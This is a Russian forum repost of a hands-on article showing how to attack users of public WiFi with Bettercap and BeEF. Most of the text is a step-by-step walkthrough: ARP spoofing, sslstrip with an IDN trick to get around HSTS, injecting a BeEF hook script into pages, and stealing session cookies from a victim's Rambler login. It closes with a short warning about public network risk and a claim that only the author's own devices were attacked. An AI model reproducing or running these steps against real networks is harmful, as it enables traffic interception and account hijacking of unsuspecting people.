Вскрытие трафика в публичных сетях

Специальный корреспондент
Собака

Собака

Пресс-служба
Команда форума
Private Club
Регистрация
13/10/15
Сообщения
55.044
Репутация
62.940
Реакции
277.293
RUB
0


Эта статья о том, как стать кулхацкером (или по-английски Script Kiddie) — условным злоумышленником, который испытывает недостаток знаний в области программирования и использует существующее программное обеспечение, чтобы провести атаку на смартфоны и планшеты своих одноклассников.

Шучу. На самом деле передо мной стояла задача понять две вещи:


  1. Насколько опасно пользоваться публичным WiFi в 2020 году, в мире где господствуют браузеры и сайты с повсеместно победившими технологиями HTTPS (на основе TLS 1.1+) и HSTS
  2. Сможет ли человек моего уровня знаний (не самого высокого) “залезть” в чужой браузер и стащить ценные данные.


Спойлер
А в спойлере спойлер:
  1. Да, Опасно!
  2. Вполне сможет
Отправная точка

Сразу скажу, что хотя часть моих опытов проходил в настоящих публичных сетях, “неправомерный доступ” я получал только к браузерам своих собственных устройств. Поэтому фактически я не нарушал, и Вам настоятельно нарушать не советую. Данный эксперимент и статья предлагаются к ознакомлению исключительно в целях демонстрации небезопасности использования публичных беспроводных сетей.

И так, в чем собственно проблема для хакера, если в трафик в открытых беспроводных сетях легко перехватить любым сниффером? Проблема в том, что в 2020 году почти все (99%) сайты используют HTTPS и шифруют весь обмен данными между сервером и браузером потенциальной “жертвы” индивидуальным ключом по довольно свежему протоколу . TLS даёт возможность клиент-серверным приложениям осуществлять связь в сети таким образом, что нельзя производить прослушивание пакетов и осуществить несанкционированный доступ. Точнее прослушивать-то можно, но толка в этом нет, так как зашифрованный трафик без ключа для его расшифровки бесполезен.

Более того, во всех современных браузерах реализован механизм HSTS ( HTTP Strict Transport Security), принудительно активирующий защищённое соединение через протокол и обрывающий простое HTTP-соединение. Данная политика безопасности позволяет сразу же устанавливать безопасное соединение вместо использования HTTP-протокола. Механизм использует особый Strict-Transport-Security для принудительного использования браузером протокола HTTPS даже в случае перехода по ссылкам с явным указанием протокола HTTP (http://). Исходный вариант HSTS не защищает первое подключение пользователя к сайту, что оставляет лазейку для хакеров, и злоумышленник может легко перехватить первое подключение, если оно происходит по протоколу http. Поэтому для борьбы с этой проблемой большинство современных браузеров использует дополнительный статический список сайтов (HSTS preload list), требующих использования протокола https.

Чтобы как-то перехватить вводимые пароли или украсть cookies жертвы нужно как-то влезть в браузер жертвы или добиться, чтобы протокол шифрования TLS не использовался. Мы сделаем обе вещи сразу. Для этого мы применим метод атаки “ ” (MitM). Оговорюсь, что наша атака будет довольно низкопробной, потому что мы будем использовать готовые “конструкторы-полуфабрикаты” из журнала “Хакни Сам” практически без какой-либо доработки. Настоящие хакеры вооружены более качественно, а мы только играем роль низкоквалифицированных кулхацкеров, чтобы проиллюстрировать степень небезопасности публичных современных беспроводных сетей.

Железо

В качестве инструментария для эксперимента я использовал следующий инструментарий:


  • Любая публичная WiFi сеть на фудкорте
  • Нетбук Acer Aspire one D270
  • Встроенная wifi карта Atheros AR5B125
  • Внешний wifi usb адаптер WiFi TP-LINK Archer T4U v3
  • Внешний wifi usb адаптер TP-LINK Archer T9UH v2
  • Kali Linux c версией ядра 5.8.0-kali2-amd64
  • Фреймворк v2.28
  • Фреймворк 0.5
  • Несколько смартфонов и планшетов на Android 9 и ноутбук на Windows 7 в качестве устройств-жертв.

Зачем так много wifi-карт? Да потому, что в процессе экспериментов я наступил на кучу граблей и пытался сэкономить. Оказалось, хорошая WiFi-карта — главный инструмент успешного злоумышленника. Тут целый ряд проблем: карта должна поддерживать мониторинга (monitor) и точки доступа (AP), для нее должны быть драйвера под вашу версию ядра Linux, у карты должна быть хорошая антенна и возможность управления мощностью сигнала. Если не хотите лишних граблей — берите дорогой адаптер из самого верха и не забудьте проверить наличие драйвера именно для вашей аппаратной ревизии карточки.

У встроенной карты Atheros AR9485 была великолепная поддержка всех режимов и драйвер “из коробки” в Kali, но невозможность управлять мощностью сигнала и слабая антенна сводили на нет эффективность данной карты на фазе активного вмешательства в трафик.

У WiFi TP-LINK Archer T4U v3 не было драйвера из коробки, а тот который я нашел на Github, не имел поддержки режима точки доступа (AP) и его нужно было компилировать самостоятельно.

Карточка TP-LINK Archer T9UH v2 заработала идеально с драйвером из коробки, на ней то у меня все и получилось.

Софт




Первым делом я установил Kali Linux 5.8.0 на свой ноутбук. Единственный SSD в ноутбуке был пустым и предназначался целиком для эксперимента, что избавило меня от некоторых трудностей с разбивкой разделов и резервным копированием старых данных с него, поэтому при установке я использовал все варианты “по умолчанию”. Я я все же столкнулся некоторыми тривиальными проблемами вроде потери с дистрибутивом в процессе установки и до последней актуальной версии из репозитория.


n-klan1sbbedzzszvxtntjjxbnc.png


Затем нужно было запустить инструменты проникновения, ими будут Bettercap и BeEF. С их помощью мы принудим браузеры “жертв” отказаться от шифрования трафика и внедрим в просматриваемые сайты троянский JavaScript.

Bettercap — это полный, модульный, портативный и легко расширяемый инструмент и фреймворк с диагностическими и наступательными функциями всех видов, которые могут понадобиться для выполнения атаки “человек посередине”. Bettercap написан на Go, основная разработка проекта проходила до 2019 года, сейчас происходят лишь небольшие исправления. Однако, как мы увидим позднее этот инструмент в быстро меняющемся мире информационной безопасности сохраняет свою актуальность и на закате 2020 года. Bettercap поставляется со встроенным модулями arp spoof и sslstrip. Именно Bettercap перехватывать трафик и внедрять в него вредоносную нагрузку.

SSlstrip — специализированный прокси-сервер, позволяет организовать один из способов обхода HTTPS, чтобы перехватить трафик это разбить сессию пользователя на два участка,. Первый участок от клиента до прокси сервера будет идти по протоколу HTTP, а второй участок, от прокси до сервера будет проходить, как и должен, по шифрованному соединению. SSLstrip позволяет разрезать сессию “жертвы” на две части и перехватить трафик для дальнейшего анализа, а также предоставлять автоматические редиректы на динамически создаваемые HTTP двойники страниц.

arp spoof перехватывает пакеты в локальной проводной или беспроводной сети с коммутацией. arpspoof перенаправляет пакеты от целевого хоста (или всех хостов) сети, предназначенные для другого хоста в этой сети, путём подмены ARP ответов. Это очень эффективный способ сниффинга трафика на коммутаторе или wifi-роутере.

BeEF — это фреймворк, позволяющий централизованно управлять пулом зараженных через XSS-атаку (сross-site scripting) клиентов, отдавать им команды и получать результат. “Злоумышленник” внедряет на уязвимый сайт скрипт hook.js. Скрипт hook.js из браузера “жертвы” сигналит управляющему центру на компьютере “злоумышленника” (BeEF) о том, что новый клиент онлайн. “Злоумышленник” входит в панель управления BeEF и удаленно управляет зараженными браузерами.

Я использовал версии Bettercap v2.28 и BeEF 0.5 Они оба уже есть в составе Kali Linux 5.8.0
Открываем окно командной строки и вводим команду

sudo beef-xss


q8thijgm8rbpbvskh355wayizhg.png


Стартует первая часть нашего зловредного бутерброда — фреймворк BeEF.

Теперь запустим браузер (в Kali Linux обычно это Firefox), переходим по адресу , логин и пароль по умолчанию beef:beef, после чего мы попадаем в контрольный пункт управления нашей атаки.


ga2s2_tnm-pvzaraee3s-73hhgy.png


Оставляем вкладку с BeEF открытой, мы в нее вернемся позже.

Перейдем к второй части бутерброда — Bettercap. Тут был подводный камень — Bettercap, уже имевшийся в системе, отказывался стартовать сервисом и выдавал другие непонятные мне ошибки. Поэтому я его решил удалить и поставить заново вручную. Открываем окно командной строки и выполняем команды:

sudo apt remove bettercap
sudo rm /usr/local/bin/bettercap

Затем скачиваем в архиве в папку загрузки. Обратите внимание, что я выбрал версию для своей архитектуры ядра.

Теперь распаковываем и размещаем исполняемый файл в системе Bettercap в папку, предназначенную для ручной установки.

сd загрузки
unzip bettercap_linux_amd64_v2.28.zip
sudo mv bettercap /usr/local/bin/

Самый простой способ начать работу с Bettercap — использовать его официальный . Веб-интерфейс работает одновременно с сервисом rest API и интерактивной сессией командной строки. Чтобы установить веб-интерфейс нужно выполнить команду:

sudo bettercap -eval "caplets.update; ui.update; q"

Внимание! Уже на этом этапе нужно обязательно подключиться к атакуемой беспроводной сети, получить ip-адрес для беспроводного интерфейса атакующей машины и запомнить его (команда ifconfig поможет его узнать).

Bettercap понимает как отдельные команды из командной строки так и каплеты. Каплет — это просто текстовый файл со списком команд, которые будут выполнены последовательно. Для запуска веб-интерфейса используется http-ui caplet. Посмотреть и изменить учетные данные по умолчанию в нем можно по пути /usr/local/share/bettercap/caplets/http-ui.cap. Запуск Bettercap с веб интерфейсом модулями api.rest и http.server 127.0.0.1 производится командой

sudo bettercap -caplet http-ui


e6ztg3wis_5gvd_fzl8pz_gviwi.png


Теперь можно открыть в браузере еще одну вкладку с адресом (без номера порта!) и войти в систему, используя учетные данные, которые были подсмотрены или настроены на предыдущем шаге (обычно это user/pass).


pzjfvbw-naijpagf_vowh7ebp9w.png


Веб-интерфейс Bettercap полностью дублирует командную строку, поэтому все действия которые мы будем делать из командной строки, можно сделать и из веб-интерфейса (запуск модулей, смена режимов, просмотр изменение значение переменных, вывод диагностической информации)

Продолжаем в командной строке и проведём первоначальную разведку беспроводной сети, к которой мы уже подключены в качестве обычного клиента.

net.recon on
net.probe on
Net.show
net.recon off

net.recon on — Запускает обнаружение сетевых хостов.
net.probe on — Запускает активное зондирование новых хостов в сети через отправку фиктивных пакетов каждому возможному IP в подсети.
net.show — Даёт команду отобразить список кэша обнаруженных хостов.
net.probe off — Выключает модуль активного зондирования.
Настраиваем переменные Bettercap, чтобы он:


  • работал как прозрачный прокси (transparent proxy) и “отключал” шифрование браузерного обмена “жертв” модулем sslstrip,
  • внедрял им вредоносную нагрузку ( — скрипт BeEF, используйте IP, выданный роутером вашему адаптеру в атакуемой сети),
  • обходил механизм HTST методом замены адреса в адресной строке браузера жертвы на похожие интернационализированные символы.

Команды:

set http.proxy.sslstrip true
set http.proxy.injectjs
set http.proxy.sslstrip.useIDN true

Затем запускаем атаку против пользователей беспроводной сети:
Команды

arp.spoof on
http.proxy on


eu4uos-yirlhs7rvmnokocmqrk4.png


arp.spoof on — Запускает отравление ARP кеша устройств “жертв”, этот модуль перенаправлять трафик на беспроводной интерфейс “злоумыщленника”
http.proxy on — Запускает прозрачный прокси, этот модуль создает прокси сервер, который будет ловить весь переадресованный трафик и модифицировать его в интересах “злоумышленника”.
“Жертвы” начинают пользоваться интернетом, заходить на сайты, и в случае успеха атаки будут лишены транспортного шифрования (а значит станут доступны для прямого прослушивания любым сниффером) и будут получать себе вредоносный скрипт BeEF. Скрипт BeEF, выполнялась в контексте домена, в чью страницу он был внедрен, может выполнить много разных действий, например утащить cookies или украсть вводимые пароли.


o_x4bafb789oul-vpoc7mquzyvi.png


Как и положено наспех сделанному бутерброду, атака сработает далеко не на все сайты. Например, крайне маловероятно провернуть атаку с одним из сайтов Google, так как в браузере уже есть список HSTS preload list для некоторых сайтов. Но вот “хайджекнуть” Рамблер или Coub.com оказалось вполне возможно! Если мы попросим “жертву” (социальная инженерия, куда ж без нее) открыть адрес Ro.ru, или вдруг она сама это сделает, то произойдет вот что:


26j_fqd7yboeynmytv-ig0uqa84.png



jwb1zq71xoijjq_b2ukxp5t1syq.png


Весь трафик жертвы на сайт rambler.ru летит по воздуху открытым текстом и его можно прослушать любым сниффером. В то время как в браузере “жертвы” не будет почти никаких признаков беды, кроме малозаметного треугольника и еще одного странного символа в конце адресной строки.


1irvvmm6nukjmm0tf3fzo5dzebu.png


А на машине “злоумышленника” в контрольной панели фреймворка BeEF, в разделе Online Browsers тем временем появится запись о новом браузере, пойманном на крючок. Выбираем этот браузер мышью, переходим в суб-вкладку Commands, на каталог Browsers, потом последовательно Hooked domain → Get Cookie → Execute


-4l9gi1dmi6qn4h-rtlj4rbox7o.png


Раз, и парой парой кликов мышки мы украли у жертвы сессионные cookies сайта Rambler.ru. Теперь мы можем попытаться вставить их в свой браузер и попасть в сессию жертвы. И это только вершки! А ведь в арсенале BeEF еще несколько сотен различных “команд”, которые мы можем отправить “пойманному” браузеру: различные варианты фишинга, кража паролей, рикролы, редиректы, эксплоиты…

Выводы

Выводы по результатам эксперимента неутешительные. Браузеры еще не могут на 100% защитить пользователей от вмешательства в трафик или подмены настоящего сайта фишинговым. Механизм HSTS срабатывает только для пары тысяч самых популярных сайтов и оставляет без надежной защиты миллионы других. Браузеры недостадочно явно предупреждают о том, что соединение с сервером не зашифровано. Еще хуже дело обстоит в беспроводных сетях, где доступ к среде передачи данных есть у любого желающего, при этом почти никто из пользователей вообще никак не проверяет подлинность самой точки доступа, а надежных методов проверки подлинности точек доступа просто не существует.





 
Сверху Снизу